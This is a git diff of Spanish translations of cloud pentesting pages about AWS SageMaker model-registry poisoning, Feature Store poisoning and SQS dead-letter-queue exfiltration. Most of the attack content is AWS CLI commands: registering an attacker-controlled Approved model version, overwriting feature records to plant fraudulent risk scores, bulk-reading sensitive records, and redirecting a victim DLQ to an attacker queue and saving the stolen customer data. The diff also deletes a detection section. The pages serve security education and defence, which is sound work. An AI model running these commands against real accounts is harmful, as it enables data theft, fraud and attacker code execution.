-Si un atacante puede CreateModelPackage en un SageMaker Model Package Group objetivo, puede registrar una nueva versión del modelo que apunte a una imagen de contenedor controlada por el atacante y marcarla inmediatamente como Approved. Muchas pipelines CI/CD despliegan automáticamente las versiones de modelo Approved a endpoints o training jobs, resultando en ejecución de código del atacante bajo los roles de ejecución del servicio. La exposición entre cuentas puede amplificarse por una política de recurso ModelPackageGroup permisiva.
+Si un atacante puede ejecutar CreateModelPackage en un Model Package Group objetivo de SageMaker, puede registrar una nueva versión de modelo que apunte a una imagen de contenedor controlada por el atacante y marcarla inmediatamente como Approved. Muchos pipelines de CI/CD despliegan automáticamente versiones Approved de modelos a endpoints o training jobs, lo que puede resultar en ejecución de código del atacante bajo los roles de ejecución del servicio. La exposición entre cuentas puede amplificarse mediante una política de recurso ModelPackageGroup permisiva.
 
 ### Requisitos
-- IAM (mínimo para comprometer un grupo existente): `sagemaker:CreateModelPackage` en el ModelPackageGroup objetivo
+- IAM (mínimo para comprometer un grupo existente): `sagemaker:CreateModelPackage` on the target ModelPackageGroup
 - Opcional (para crear un grupo si no existe): `sagemaker:CreateModelPackageGroup`
 - S3: Acceso de lectura al ModelDataUrl referenciado (o alojar artefactos controlados por el atacante)
-- Objetivo: Un Model Package Group que la automatización aguas abajo supervisa en busca de versiones Approved
+- Objetivo: Un Model Package Group que la automatización downstream vigila en busca de versiones Approved
 
 ### Pasos
-1) Establecer la región y crear/encontrar un Model Package Group objetivo
+1) Configurar la región y crear/buscar un Model Package Group objetivo
 ```bash
 REGION=${REGION:-us-east-1}
 MPG=victim-group-$(date +%s)
 aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
 ```
-2) Preparar datos de modelo ficticios en S3
+2) Preparar datos de modelo de prueba en S3
 ```bash
 ACC=$(aws sts get-caller-identity --query Account --output text)
 BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
@@ -145,7 +145,7 @@ aws s3 mb s3://$BUCKET --region $REGION
 head -c 1024 </dev/urandom > /tmp/model.tar.gz
 aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
 ```
-3) Registrar una versión de paquete de modelo Approved maliciosa (aquí benigna) que hace referencia a una imagen pública de AWS DLC
+3) Registrar una versión de paquete de modelo Approved maliciosa (aquí benigna) que haga referencia a una imagen pública de AWS DLC
 ```bash
 IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
 cat > /tmp/inf.json << JSON
@@ -162,18 +162,19 @@ cat > /tmp/inf.json << JSON
 JSON
 aws sagemaker create-model-package --region $REGION   --model-package-group-name $MPG   --model-approval-status Approved   --inference-specification file:///tmp/inf.json
 ```
-4) Verificar que exista la nueva versión Approved
+4) Verificar que la nueva versión Approved exista
 ```bash
 aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
 ```
 ### Impacto
-- Envenenar el Model Registry con una versión Approved que referencia código controlado por el atacante. Los pipelines que despliegan automáticamente modelos Approved pueden descargar y ejecutar la imagen del atacante, provocando ejecución de código con los roles de endpoint/training.
-- Con una política de recurso ModelPackageGroup permisiva (PutModelPackageGroupPolicy), este abuso puede desencadenarse entre cuentas.
+- Envenenar el Model Registry con una versión Approved que referencia código controlado por el atacante. Pipelines que auto-deployan modelos Approved pueden pull y ejecutar la imagen del atacante, obteniendo ejecución de código bajo los endpoint/training roles.
+- Con una política de recurso ModelPackageGroup permisiva (PutModelPackageGroupPolicy), este abuso puede desencadenarse cross-account.
 
 ## Envenenamiento del Feature store
 
-Abusar de `sagemaker:PutRecord` en un Feature Group con OnlineStore habilitado para sobrescribir valores de features en vivo consumidos por inferencia en línea. Combinado con `sagemaker:GetRecord`, un atacante puede leer features sensibles. Esto no requiere acceso a modelos ni a endpoints.
+Abusar de `sagemaker:PutRecord` en un Feature Group con OnlineStore habilitado para sobrescribir valores de feature en vivo consumidos por la inferencia online. Combinado con `sagemaker:GetRecord`, un atacante puede leer features sensibles. Esto no requiere acceso a modelos ni a endpoints.
 
 {{#ref}}
 feature-store-poisoning.md
 {{/ref}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md
index 604778c77..b47016f03 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md
@@ -1,15 +1,17 @@
 # SageMaker Feature Store online store poisoning
 
-Abusa de `sagemaker:PutRecord` en un Feature Group con OnlineStore habilitado para sobrescribir valores de features en vivo consumidos por online inference. Combinado con `sagemaker:GetRecord`, un atacante puede leer features sensibles y exfiltrate datos confidenciales de ML. Esto no requiere acceso a models o endpoints, convirtiéndolo en un ataque directo a la capa de datos.
+{{#include ../../../../banners/hacktricks-training.md}}
 
-## Requirements
-- Permissions: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
-- Target: Feature Group with OnlineStore enabled (typically backing real-time inference)
-- Complexity: **LOW** - Simple AWS CLI commands, no model manipulation required
+Abusa de `sagemaker:PutRecord` en un Feature Group con OnlineStore habilitado para sobrescribir valores de features en vivo consumidos por la inferencia en tiempo real. Combinado con `sagemaker:GetRecord`, un atacante puede leer features sensibles. Esto no requiere acceso a modelos o endpoints.
 
-## Steps
+## Requisitos
+- Permisos: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
+- Objetivo: Feature Group con OnlineStore habilitado (típicamente respaldando inferencia en tiempo real)
+- Complejidad: **BAJA** - Comandos simples de AWS CLI, no se requiere manipulación de modelos
 
-### Reconnaissance
+## Pasos
+
+### Reconocimiento
 
 1) Listar Feature Groups con OnlineStore habilitado
 ```bash
@@ -19,16 +21,16 @@ aws sagemaker list-feature-groups \
 --query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \
 --output table
 ```
-2) Describir el Feature Group objetivo para comprender su esquema
+2) Describe un Feature Group objetivo para entender su esquema
 ```bash
 FG=<feature-group-name>
 aws sagemaker describe-feature-group \
 --region $REGION \
 --feature-group-name "$FG"
 ```
-Nota el `RecordIdentifierFeatureName`, `EventTimeFeatureName`, y todas las definiciones de features. Estos son necesarios para crear registros válidos.
+Tenga en cuenta `RecordIdentifierFeatureName`, `EventTimeFeatureName`, y todas las definiciones de características. Estas son necesarias para elaborar registros válidos.
 
-### Escenario de ataque 1: Data Poisoning (Sobrescribir registros existentes)
+### Escenario de ataque 1: Data Poisoning (Overwrite Existing Records)
 
 1) Leer el registro legítimo actual
 ```bash
@@ -37,7 +39,7 @@ aws sagemaker-featurestore-runtime get-record \
 --feature-group-name "$FG" \
 --record-identifier-value-as-string user-001
 ```
-2) Envenenar el registro con valores maliciosos usando el parámetro en línea `--record`
+2) Envenena el registro con valores maliciosos usando el parámetro inline `--record`
 ```bash
 NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
 
@@ -61,7 +63,7 @@ aws sagemaker-featurestore-runtime get-record \
 --feature-group-name "$FG" \
 --record-identifier-value-as-string user-001
 ```
-**Impacto**: Los modelos ML que consumen esta característica ahora verán `risk_score=0.99` para un usuario legítimo, lo que puede bloquear sus transacciones o servicios.
+**Impacto**: Los modelos ML que consumen esta característica ahora verán `risk_score=0.99` para un usuario legítimo, lo que podría bloquear sus transacciones o servicios.
 
 ### Escenario de ataque 2: Malicious Data Injection (Create Fraudulent Records)
 
@@ -82,14 +84,14 @@ aws sagemaker-featurestore-runtime put-record \
 ]" \
 --target-stores OnlineStore
 ```
-Verifica la inyección:
+Verifique la inyección:
 ```bash
 aws sagemaker-featurestore-runtime get-record \
 --region $REGION \
 --feature-group-name "$FG" \
 --record-identifier-value-as-string user-999
 ```
-**Impacto**: El atacante crea una identidad falsa con una puntuación de riesgo baja (0.01) que puede realizar transacciones fraudulentas de alto valor sin activar la detección de fraude.
+**Impact**: El atacante crea una identidad falsa con una puntuación de riesgo baja (0.01) que puede realizar transacciones fraudulentas de alto valor sin activar la detección de fraude.
 
 ### Escenario de ataque 3: Exfiltración de datos sensibles
 
@@ -104,9 +106,9 @@ aws sagemaker-featurestore-runtime get-record \
 --record-identifier-value-as-string ${USER_ID}
 done
 ```
-**Impact**: Características confidenciales (puntuaciones de riesgo, patrones de transacción, datos personales) expuestas al atacante.
+**Impact**: Características confidenciales (puntuaciones de riesgo, patrones de transacción, datos personales) expuestas al attacker.
 
-### Testing/Demo Feature Group Creation (Optional)
+### Creación de Feature Group de prueba/demostración (Opcional)
 
 Si necesitas crear un Feature Group de prueba:
 ```bash
@@ -141,20 +143,6 @@ fi
 
 echo "Feature Group ready: $FG"
 ```
-## Detección
-
-Supervise CloudTrail en busca de patrones sospechosos:
-- Eventos `PutRecord` desde IAM principals inusuales o direcciones IP
-- Llamadas `PutRecord` o `GetRecord` con alta frecuencia
-- `PutRecord` con valores de característica anómalos (p. ej., risk_score fuera del rango normal)
-- Operaciones masivas `GetRecord` que indiquen exfiltración en masa
-- Acceso fuera del horario laboral habitual o desde ubicaciones inesperadas
-
-Implemente detección de anomalías:
-- Validación de valores de característica (p. ej., risk_score debe ser 0.0-1.0)
-- Análisis de patrones de escritura (frecuencia, tiempos, identidad de origen)
-- Detección de deriva de datos (cambios bruscos en las distribuciones de características)
-
-## References
-- [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
-- [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
+## Referencias
+- [Documentación de AWS SageMaker Feature Store](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
+- [Mejores prácticas de seguridad para Feature Store](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md
index c3d38282c..ade875239 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md
@@ -1,53 +1,55 @@
-# AWS – SQS DLQ Exfiltración Redrive vía StartMessageMoveTask
+# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
 
-## Description
+{{#include ../../../banners/hacktricks-training.md}}
 
-Abusar de las tareas de movimiento de mensajes de SQS para robar todos los mensajes acumulados de la Dead-Letter Queue (DLQ) de una víctima redirigiéndolos a una cola controlada por el atacante usando `sqs:StartMessageMoveTask`. Esta técnica explota la funcionalidad legítima de recuperación de mensajes de AWS para exfiltrar datos sensibles que se han acumulado en las DLQ con el tiempo.
+## Descripción
 
-## What is a Dead-Letter Queue (DLQ)?
+Abusar de las tareas de movimiento de mensajes de SQS para robar todos los mensajes acumulados en el Dead-Letter Queue (DLQ) de una víctima redirigiéndolos a una queue controlada por el atacante usando `sqs:StartMessageMoveTask`. Esta técnica explota la funcionalidad legítima de recuperación de mensajes de AWS para exfiltrar datos sensibles que se han acumulado en los DLQ a lo largo del tiempo.
 
-Una Dead-Letter Queue es una cola SQS especial donde los mensajes se envían automáticamente cuando no pueden ser procesados correctamente por la aplicación principal. Estos mensajes fallidos a menudo contienen:
-- Datos sensibles de la aplicación que no pudieron ser procesados
+## ¿Qué es un Dead-Letter Queue (DLQ)?
+
+Un Dead-Letter Queue es una queue especial de SQS donde los mensajes se envían automáticamente cuando fallan al ser procesados correctamente por la aplicación principal. Estos mensajes fallidos a menudo contienen:
+- Datos sensibles de la aplicación que no pudieron procesarse
 - Detalles de errores e información para depuración
 - Información de identificación personal (PII)
 - Tokens de API, credenciales u otros secretos
 - Datos de transacciones críticos para el negocio
 
-Las DLQ actúan como un "cementerio" para mensajes fallidos, por lo que son objetivos valiosos ya que acumulan datos sensibles con el tiempo que las aplicaciones no pudieron manejar correctamente.
+Los DLQ actúan como un "cementerio" para mensajes fallidos, lo que los convierte en objetivos valiosos ya que acumulan datos sensibles con el tiempo que las aplicaciones no pudieron manejar correctamente.
 
-## Attack Scenario
+## Escenario de ataque
 
-**Real-world example:**
-1. **E-commerce application** procesa pedidos de clientes a través de SQS
-2. **Some orders fail** (problemas de pago, inventario, etc.) y se mueven a una DLQ
-3. **DLQ accumulates** semanas/meses de pedidos fallidos que contienen datos de clientes: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
-4. **Attacker gains access** a credenciales AWS con permisos SQS
-5. **Attacker discovers** que la DLQ contiene miles de pedidos fallidos con datos sensibles
-6. **Instead of trying to access individual messages** (lento y obvio), el atacante usa `StartMessageMoveTask` para transferir a granel TODOS los mensajes a su propia cola
-7. **Attacker extracts** todos los datos históricos sensibles en una sola operación
+**Ejemplo del mundo real:**
+1. **Una aplicación de e-commerce** procesa pedidos de clientes a través de SQS
+2. **Algunos pedidos fallan** (problemas de pago, inventario, etc.) y se mueven a un DLQ
+3. **El DLQ acumula** semanas/meses de pedidos fallidos que contienen datos de clientes: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
+4. **El atacante obtiene acceso** a credenciales de AWS con permisos de SQS
+5. **El atacante descubre** que el DLQ contiene miles de pedidos fallidos con datos sensibles
+6. **En lugar de intentar acceder a mensajes individuales** (lento y obvio), el atacante usa `StartMessageMoveTask` para transferir a granel TODOS los mensajes a su propia queue
+7. **El atacante extrae** todos los datos históricos sensibles en una sola operación
 
-## Requirements
-- La cola origen debe estar configurada como DLQ (referenciada por al menos una RedrivePolicy de alguna cola).
-- Permisos IAM (ejecutados como el principal de la víctima comprometida):
-- En la DLQ (origen): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
-- En la cola de destino: permiso para entregar mensajes (por ejemplo, política de cola que permita `sqs:SendMessage` desde el principal de la víctima). Para destinos en la misma cuenta esto normalmente está permitido por defecto.
+## Requisitos
+- La queue de origen debe estar configurada como DLQ (referenciada por al menos una RedrivePolicy de alguna queue).
+- Permisos IAM (ejecutados como el principal víctima comprometido):
+  - En la DLQ (origen): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
+  - En la queue de destino: permiso para entregar mensajes (por ejemplo, política de queue que permita `sqs:SendMessage` desde el principal víctima). Para destinos en la misma cuenta, esto suele estar permitido por defecto.
 - Si SSE-KMS está habilitado: en la CMK de origen `kms:Decrypt`, y en la CMK de destino `kms:GenerateDataKey`, `kms:Encrypt`.
 
-## Impact
-Exfiltración de cargas útiles sensibles acumuladas en DLQ (eventos fallidos, PII, tokens, payloads de aplicación) a alta velocidad usando APIs nativas de SQS. Funciona cross-account si la política de la cola de destino permite `SendMessage` desde el principal de la víctima.
+## Impacto
+Exfiltrar cargas útiles sensibles acumuladas en DLQs (eventos fallidos, PII, tokens, payloads de aplicación) a alta velocidad usando las APIs nativas de SQS. Funciona cross-account si la política de la queue de destino permite `SendMessage` desde el principal víctima.
 
-## How to Abuse
+## Cómo abusar
 
-- Identificar el ARN de la DLQ de la víctima y asegurarse de que realmente esté referenciada como DLQ por alguna cola (cualquier cola sirve).
-- Crear o elegir una cola de destino controlada por el atacante y obtener su ARN.
-- Iniciar una tarea de movimiento de mensajes desde la DLQ de la víctima hacia tu cola de destino con StartMessageMoveTask.
-- Monitorizar el progreso o cancelar si es necesario.
+- Identifique el ARN del DLQ de la víctima y asegúrese de que realmente esté referenciado como DLQ por alguna queue (cualquier queue sirve).
+- Cree o elija una queue controlada por el atacante y obtenga su ARN.
+- Inicie una tarea de movimiento de mensajes desde el DLQ de la víctima hacia su queue de destino.
+- Monitoree el progreso o cancele si es necesario.
 
-### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
+### Ejemplo CLI: Exfiltración de datos de clientes desde DLQ de e-commerce
 
-**Scenario**: Un atacante ha comprometido credenciales AWS y ha descubierto que una aplicación de e-commerce usa SQS con una DLQ que contiene intentos fallidos de procesamiento de pedidos de clientes.
+**Escenario**: Un atacante ha comprometido credenciales de AWS y descubrió que una aplicación de e-commerce usa SQS con un DLQ que contiene intentos fallidos de procesamiento de pedidos de clientes.
 
-1) **Discover and examine the victim DLQ**
+1) **Descubrir y examinar el DLQ de la víctima**
 ```bash
 # List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
 aws sqs list-queues --queue-name-prefix dlq
@@ -61,7 +63,7 @@ aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
 --attribute-names ApproximateNumberOfMessages
 # Output might show: "ApproximateNumberOfMessages": "1847"
 ```
-2) **Crear una cola de destino controlada por el atacante**
+2) **Crear cola de destino controlada por attacker**
 ```bash
 # Create our exfiltration queue
 ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
@@ -69,7 +71,7 @@ ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --at
 
 echo "Created exfiltration queue: $ATTACKER_Q_ARN"
 ```
-3) **Ejecutar el bulk message theft**
+3) **Ejecutar el robo masivo de mensajes**
 ```bash
 # Start moving ALL messages from victim DLQ to our queue
 # This operation will transfer thousands of failed orders containing customer data
@@ -114,20 +116,20 @@ echo "$MESSAGES" >> stolen_customer_data.json
 done
 ```
 ### Notas entre cuentas
-- La cola de destino debe tener una política de recursos que permita al principal de la víctima realizar `sqs:SendMessage` (y, si se usa, concesiones/permisos de KMS).
+- La cola de destino debe tener una política de recursos que permita al principal víctima `sqs:SendMessage` (and, if used, KMS grants/permissions).
 
 ## Por qué este ataque es efectivo
 
-1. **Característica legítima de AWS**: Utiliza funcionalidad integrada de AWS, lo que dificulta detectarlo como malicioso
-2. **Operación masiva**: Transfiere miles de mensajes rápidamente en lugar de acceso individual y lento
+1. **Funcionalidad legítima de AWS**: Usa la funcionalidad integrada de AWS, lo que dificulta detectarla como maliciosa
+2. **Operación masiva**: Transfiere miles de mensajes rápidamente en lugar de acceder uno por uno lentamente
 3. **Datos históricos**: Las DLQs acumulan datos sensibles durante semanas/meses
-4. **Fuera del radar**: Muchas organizaciones no supervisan de cerca el acceso a las DLQs
-5. **Capaz entre cuentas**: Puede exfiltrate a la propia cuenta AWS del atacante si los permisos lo permiten
+4. **Fuera del radar**: Muchas organizaciones no monitorizan el acceso a DLQs de cerca
+5. **Capaz entre cuentas**: Puede exfiltrar a la propia cuenta de AWS del atacante si los permisos lo permiten
 
 ## Detección y prevención
 
 ### Detección
-Supervisar CloudTrail en busca de llamadas API `StartMessageMoveTask` sospechosas:
+Supervisa CloudTrail en busca de llamadas API sospechosas `StartMessageMoveTask`:
 ```json
 {
 "eventName": "StartMessageMoveTask",
@@ -143,8 +145,10 @@ Supervisar CloudTrail en busca de llamadas API `StartMessageMoveTask` sospechosa
 }
 ```
 ### Prevención
-1. **Principio de privilegio mínimo**: Restringe los permisos `sqs:StartMessageMoveTask` solo a los roles necesarios
-2. **Monitoreo de DLQs**: Configura alarmas de CloudWatch para actividad inusual en las DLQs
-3. **Políticas entre cuentas**: Revisa cuidadosamente las políticas de las colas SQS que permiten acceso entre cuentas
-4. **Cifra las DLQs**: Usa SSE-KMS con políticas de claves restringidas
-5. **Limpieza regular**: No permitas que datos sensibles se acumulen en las DLQs indefinidamente
+1. **Principio de mínimo privilegio**: Restringir los permisos `sqs:StartMessageMoveTask` solo a los roles necesarios
+2. **Monitorear DLQs**: Configurar alarmas de CloudWatch para actividad inusual en DLQs
+3. **Políticas entre cuentas**: Revisar cuidadosamente las políticas de las colas SQS que permiten acceso entre cuentas
+4. **Cifrar DLQs**: Usar SSE-KMS con políticas de clave restringidas
+5. **Limpieza regular**: No permita que datos sensibles se acumulen en DLQs indefinidamente
+
+{{#include ../../../banners/hacktricks-training.md}}